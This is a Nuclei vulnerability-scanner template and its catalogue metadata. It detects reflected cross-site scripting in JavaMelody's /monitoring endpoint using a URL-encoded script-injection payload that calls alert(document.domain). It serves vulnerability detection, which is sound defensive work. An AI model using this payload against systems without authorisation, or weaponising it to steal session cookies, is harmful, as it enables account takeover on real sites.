java-melody-xss: JavaMelody - Cross-Site Scripting
- Template: java-melody-xss
- Name: JavaMelody - Cross-Site Scripting
- Description: JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
- Severity: high
- Authors: kailashbohara
- Tags: xss, javamelody, vuln
- References: https://github.com/Hurdano/JavaMelody-XSS, https://github.com/javamelody/javamelody/pull/555
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/other/java-melody-xss.yaml
- Digest: 4b0a004830460221008d42436bc13f74aac6822a33df71deccd8355e01ac66bcb265cc0c4d8d282bf2022100a9f37cefb84eacb5bef8a0f2c8a3cd26cc69d9da6a65be496402e26d5e91e826
- Created at: 2022-01-24T07:47:20Z
- Updated at: 2026-04-14T14:09:18Z
- Age in days: 1764
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/java-melody-xss.yaml
- Checked, none or zero: cves, verified, products
- Not known: impact, remediation
Classification
- Cwe: CWE-80
- Cvss score: 7.2
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Not known: epss score, epss percentile, cpe
Metadata
- Max-request: 1
Labels
- Name: JavaMelody - Reflected XSS
- Impact: Attackers can execute arbitrary script in the victim's browser, potentially stealing cookie-based authentication credentials and launching further attacks.
- Remediation: Update to the latest version of JavaMelody.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec, information_disclosure
- Requirement type: user_interaction
- Requirements: Victim must load a crafted URL
- Labels source: securitycontext
- Not known: from cve
```yaml
id: java-melody-xss
info:
name: JavaMelody - Cross-Site Scripting
author: kailashbohara
severity: high
description: JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://github.com/Hurdano/JavaMelody-XSS
- https://github.com/javamelody/javamelody/pull/555
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-80
metadata:
max-request: 1
tags: xss,javamelody,vuln
http:
- method: GET
path:
- '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4b0a004830460221008d42436bc13f74aac6822a33df71deccd8355e01ac66bcb265cc0c4d8d282bf2022100a9f37cefb84eacb5bef8a0f2c8a3cd26cc69d9da6a65be496402e26d5e91e826:922c64590222798bb761d5b6d8e72950
```